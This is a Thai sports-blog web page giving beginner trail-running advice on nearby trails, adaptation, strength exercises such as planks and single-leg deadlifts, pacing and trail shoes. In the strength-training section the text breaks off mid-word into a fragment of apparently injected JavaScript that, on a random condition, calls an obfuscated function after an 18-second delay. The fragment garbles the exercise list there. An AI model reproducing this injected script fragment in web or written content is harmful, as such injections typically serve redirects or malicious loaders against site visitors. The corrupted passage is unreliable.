• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

TRAIL RUNNING TIPS: มือใหม่หัดวิ่งเทรล

kan by kan
11 February 2020
in Running Tips
0
TRAIL RUNNING TIPS: มือใหม่หัดวิ่งเทรล
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ฝึกวิ่งสนามในเมืองมากพักใหญ่แล้ว อยากจะลงวิ่งไต่ภูเขาบ้าง จะเป็นนักวิ่งเทรลมือใหม่ วิ่งเพื่อปรับเปลี่ยนอรรถรส สร้างความท้าทายใหม่ในการวิ่ง มือใหม่หัดเทรลควรจะเริ่มอย่างไรดี

TRAIL RUNNING TIPS: มือใหม่หัดวิ่งเทรล

1. มองหาเส้นทางใกล้บ้านท่าน

นักวิ่งไม่จำเป็นต้องออกไปต่างจังหวัดเพื่อมองหาเส้นทางวิบากใช้ในการฝึกซ้อม ให้ลองมองหาสวนสาธารณะใกล้บ้านท่านที่มีเส้นทางธรรมชาติ มองหาเส้นทางวิ่งที่เป็นถนนลูกรังผสมกับเส้นทางสนามหญ้า และต้องมีความปลอดภัย ถ้าสวนสาธารณะใกล้บ้านท่านมีเส้นทางวิ่งธรรมชาติ ก็ถือว่ามีความได้เปรียบในความคุ้นเคยกับสถานที่ หรือมีคนวิ่งอยู่เป็นประจำจะช่วยสร้างแรงบันดาลใจอีกทางหนึ่ง หากต้องการหารสชาติใหม่ลองวิ่งเป็นกลุ่ม และสถานที่ใหม่เพื่อเพิ่มความสนุกไปในตัว

2. ร่างกายต้องการเวลาปรับตัว

การปรับตัวในที่นี้ คือ การที่มัดกล้ามเนื้อชุดใหม่ได้ถูกใช้งาน โดยเฉพาะช่วงล่าง เพราะพื้นผิวของสนามวิ่งเปลี่ยนไป จากทางเรียบเป็นทางขรุขระ การฝึก Strength training เพื่อเสริมสร้างความมั่นคงและบาลานซ์ซ้ายขวา จะช่วยป้องกันการบาดเจ็บลงได้ และสำหรับมือใหม่ แนะนำให้มองหาเส้นทางที่มีการผสมทางเรียบกับทางขรุขระ โฟกัสที่ระดับการออกแรงมากกว่าความเร็ว เพราะเวลาวิ่งทางเทรลจะทำให้ Pace เราช้าลงเป็นธรรมดา

3. ควรมีการฝึก Strength Training

วิธีฝึก Strength Training ที่ง่ายที่สุดคือการทำ Bodyweight exercise หรือใช้น้ำหนักร่างกายในการสร้างแรงเสียดทาน เป็นน้ำหนักในการฝึกบริหารกล้ามเนื้อ และชุดเซตที่ความฝึกเพื่อสร้าง STABILITY AND BALANCE ได้แก่ Plank เป็นการบริหารกล้ามเนื้อแบบ Full-body ดีต่อการฝึก Core muscle, Single-Leg Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ฝึกยืนบนขาข้างเดียว เเละ Single leg deadlift ฝึกยืนขาเดียวพร้อมกับยกเวท

www.coachmag.co.uk

การฝึกบริหารกล้ามเนื้อเพื่อเพิ่มพลังกระโดด ได้เเก่ Jump Lunges, Single-Leg Jump, Speed Skater เเละ Box Jump

4. เริ่มช้าๆ

เพราะด้วยการวิ่งจะต้องอยู่บนพื้นผิวขรุขระ มัดกล้ามเนื้อขาจะค่อยๆ แข็งแกร่งขึ้น ทำให้ชุดกล้ามเนื้อนักวิ่งเทรลแข็งแกร่งกว่านักวิ่งทางเรียบ แต่ในทางกลับกันก็ต้องการพลังงานในการวิ่งมากขึ้นไปด้วย ให้นักวิ่งมือใหม่วิ่งสบายๆ ช้าๆ ไม่ต้องจัดเต็มในการวิ่งครั้งแรก ให้ร่างกายได้จัดลองรับ Workload ใหม่ๆ และเมื่อสะสมไมล์เยอะเข้าก็ค่อยฝึกวิ่งปรับความเร็วและวิ่งบนพื้นผิวที่มีความหลากหลายมากขึ้น

สุดท้ายที่ขาดไม่ได้เลยนั้นคือ การเลือกรองเท้าให้เหมาะกับพื้นผิวที่วิ่ง สำหรับสนามหญ้าทางลูกรังในสวนสาธารณะจะสามารถใช้รองเท้าวิ่งธรรมดาได้อยู่ แต่เมื่อเข้าสู่ทางเทรลที่มีความชัน ที่พื้นผิวผสม แนะนำให้หารองเท้าวิ่งเทรลสักคู่ เพื่อเพิ่มความยึดเกาะและความคงทนให้กับรองเท้า

อ้างอิง  www.runtastic.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.